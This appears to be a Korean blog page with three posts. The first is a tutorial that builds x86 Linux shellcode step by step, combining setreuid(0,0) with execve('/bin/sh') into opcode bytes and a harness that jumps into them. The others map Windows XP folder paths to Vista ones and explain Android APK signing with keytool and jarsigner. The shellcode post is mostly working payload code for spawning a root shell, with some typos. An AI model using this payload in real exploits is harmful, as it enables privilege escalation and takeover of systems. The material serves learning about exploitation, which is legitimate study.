LINUX/System & Security2010.05.30 18:08
1. execve() 함수를 이용한 /bin/sh를 실행하는 프로그램만들기

=============================================================
#incldue <stdio.h>

void main()
{
char *shell[2];
shell[0] = "/bin/sh"
shell[1] = NULL;

execve(shell[0], shell, NULL);
}
=============================================================
2. -static 으로 컴파일 후 objdump 를 이용하여 execve의 시스템콜 동작원리 파악 이를 어셈블리어로 작성
=============================================================
.globl main
main:
xor %eax, $eax
push %eax
push $0x68732F2F
push $0x6E69622F
movl %esp, %ebx
push %eax
push %ebx
movl %esp, %ecx
movl %eax, %edx
movb $0x0b, %al
int $0x80
xor %eax, %eax
movb $0x01, %al
movl %eax, %ebx
int $0x80

=============================================================

3. objdump로 기계어를 추출해냄
=============================================================

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\x89\xc3\xcd\x80"

=============================================================

4. setreuid()를 이용하여 권한 설정하는 프로그램만들기
=============================================================
#include <stdio.h>

void main()
{
setreuid(0,0);
}

=============================================================

5. -static 컴파일 후 setreuid()의 시스템콜 동작원리를 파악 후 이를 어셈블리어로 작성
=============================================================

.globl main
main:

xor %eax, %eax
movb $0x46, %al
xor %ebx, %ebx
xor %ecx, %ecx
int $0x80

=============================================================

 6. objdump로 기계어를 추출해냄
=============================================================

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80"

=============================================================

7. 기계어를 합침
=============================================================

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\x89\xc3\xcd\x80"

=============================================================

8. 이를 활용해봄
=============================================================
#include <stdio.h>

char *shellcode =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\x89\xc3\xcd\x80"

void main()
{
int *ret;
ret = (int*)&ret + 2;
(*ret) = shellcode;

}

=============================================================

신고
Posted by kyh1026

XP: Documents and Settings
Vista: Users

XP: Documents and Settings\$USER$\My Documents
Vista: Users\$USER$\Documents

XP: Documents and Settings\$USER$\My Documents\My Music
Vista: Users\$USER$\Music

XP: Documents and Settings\$USER$\My Documents\My Pictures
Vista: Users\$USER$\Pictures

XP: Documents and Settings\$USER$\My Documents\My Videos
Vista: \Users\$USER$\Videos

XP: Documents and Settings\$USER$\Application Data
Vista: Users\$USER$\AppData\Roaming

XP: Documents and Settings\$USER$\Cookies
Vista: Users\$USER$\AppData\Roaming\Microsoft\Windows\Cookies

XP: Documents and Settings\$USER$\Local Settings
Vista: Users\$USER$\AppData\Local

XP: Documents and Settings\$USER$\NetHood
Vista: Users\$USER$\AppData\Roaming\Microsoft\Windows\Network Shortcuts

XP: Documents and Settings\$USER$\PrintHood
Vista: Users\$USER$\AppData\Roaming\Microsoft\Windows\Printer Shortcuts

XP: Documents and Settings\$USER$\Recent
Vista: Users\$USER$\AppData\Roaming\Microsoft\Windows\Recent

XP: Documents and Settings\$USER$\SendTo
Vista: Users\$USER$\AppData\Roaming\Microsoft\Windows\SendTo

XP:
Documents and Settings\$USER$\Start Menu
Vista: Users\$USER$\AppData\Roaming\Microsoft\Windows\Start Menu

XP: Documents and Settings\$USER$\Templates
Vista: Users\$USER$\AppData\Roaming\Microsoft\Windows\Templates

XP: Documents and Settings\$USER$\Local Settings\Application Data
Vista: Users\$USER$\AppData\Local

XP: Documents and Settings\$USER$\Local Settings\History
Vista: Users\$USER$\AppData\Local\Microsoft\Windows\History

XP: Documents and Settings\$USER$\Local Settings\Temporary Internet Files
Vista: Users\$USER$\AppData\Local\Microsoft\Windows\Temporary Internet Files

XP: Documents and Settings\All Users
Vista: ProgramData

XP: Documents and Settings\All Users\Application Data
Vista: ProgramData

XP: Documents and Settings\All Users\Desktop
Vista: Users\Public\Desktop

XP: Documents and Settings\All Users\Documents
Vista: Users\Public\Documents

XP: Documents and Settings\All Users\Favorites
Vista: Users\Public\Favorites

XP: Documents and Settings\All Users\Start Menu
Vista: ProgramData\Microsoft\Windows\Start Menu

XP: Documents and Settings\All Users\Templates
Vista: ProgramData\Microsoft\Windows\Templates

XP: Documents and Settings\Default User
Vista: Users\Default

신고
Posted by kyh1026
Android2010.03.18 11:47

키 생성 방법

> keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -validity 10000
10000일을 기한으로 my-release-key.keystore라는 이름으로 keystore를 생성합니다. alias_name은 나중에 어플리케이션을 사인할때 다시 사용하므로 잘 입력하여 줍니다. 명령어를 준 후 암호를 입력하고 적당히 정보를 입력하면 keystore가 생성됩니다.

사인 방법

이클립스의 Package Explorer에서 프로젝트 명에서 오른쪽 마우스를 클리하면 Android Tools가 있습니다. 거기서 Export Unsigned Application Package를 선택해서 원하는 디렉토리에 apk를 생성합니다.

> jarsigner -verbose -keystore my-release-key.keystore my_application.apk alias_name
이번에는 jarsigner라는 유틸리티를 통해 사인(Signing)을 합니다. 명령을 주고 암호를 입력하면 됩니다.

> jarsigner -verify -verbose -certs my_application.apk
사인이 잘 되었는지 확인하실 수 있습니다.

키의 관리는 아주 중요합니다. keystore와 암호가 외부에 유출된다면 그것을 악용하여 어플리케이션을 망가뜨리고 유저 데이터를 훔쳐갈 수 있습니다. 그것은 개발자의 명성에 큰 흠집을 낼 수 있으니 절대적으로 관리에 주의를 기울여야 합니다.

[출처] http://www.androidpub.com/4742

신고
Posted by kyh1026